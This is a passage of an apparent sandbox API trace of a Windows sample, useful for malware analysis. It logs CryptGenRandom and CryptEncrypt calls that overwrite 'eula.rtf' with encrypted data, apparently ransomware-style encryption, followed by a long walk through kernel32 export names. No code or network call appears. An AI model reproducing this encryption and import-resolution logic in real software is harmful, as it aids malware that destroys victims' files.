(lpString="eula.rtf") returned 8 [0123.357] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1038\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0123.357] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf" [0123.357] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.357] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0123.357] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=4254) returned 1 [0123.357] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0123.357] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0123.904] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0123.904] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0123.904] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0123.905] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0123.905] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0123.905] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.906] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0123.906] CloseHandle (hObject=0x5f8) returned 1 [0123.906] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.906] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0123.907] CloseHandle (hObject=0x0) returned 0 [0123.907] CloseHandle (hObject=0x5f4) returned 1 [0123.908] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.908] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.908] GetTickCount () returned 0x34632 [0123.908] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.909] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0123.909] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0123.909] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0123.909] lstrlenA (lpString="kernel32.dll") returned 12 [0123.909] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0123.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0123.909] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0123.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0123.909] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0123.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0123.909] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0123.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0123.909] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0123.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0123.909] lstrlenA (lpString="ADDATOMA") returned 8 [0123.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0123.909] lstrlenA (lpString="ADDATOMW") returned 8 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0123.910] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0123.910] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0123.910] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0123.910] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0123.910] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0123.910] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0123.910] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0123.910] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0123.910] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0123.910] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0123.910] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0123.910] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0123.910] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0123.910] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0123.910] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0123.910] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0123.910] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0123.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0123.911] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0123.911] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0123.911] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0123.911] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0123.911] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0123.911] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0123.911] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0123.911] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0123.911] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0123.911] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0123.911] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0123.911] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0123.911] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0123.911] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0123.911] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0123.911] lstrlenA (lpString="BACKUPREAD") returned 10 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0123.911] lstrlenA (lpString="BACKUPSEEK") returned 10 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0123.911] lstrlenA (lpString="BACKUPWRITE") returned 11 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0123.911] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0123.911] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0123.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0123.912] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0123.912] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0123.912] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0123.912] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0123.912] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0123.912] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0123.912] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0123.912] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0123.912] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0123.912] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0123.912] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0123.912] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0123.912] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0123.912] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0123.912] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0123.912] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0123.912] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0123.912] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0123.912] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0123.912] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0123.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0123.913] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0123.913] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0123.913] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0123.913] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0123.913] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0123.913] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0123.913] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0123.913] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0123.913] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0123.913] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0123.913] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0123.913] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0123.913] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0123.913] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0123.913] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0123.913] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0123.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0123.914] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0123.914] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0123.914] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0123.914] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0123.914] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0123.914] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0123.914] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0123.914] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0123.914] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0123.914] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0123.914] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0123.914] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0123.914] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0123.914] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0123.914] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0123.914] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0123.914] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0123.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0123.915] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0123.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") 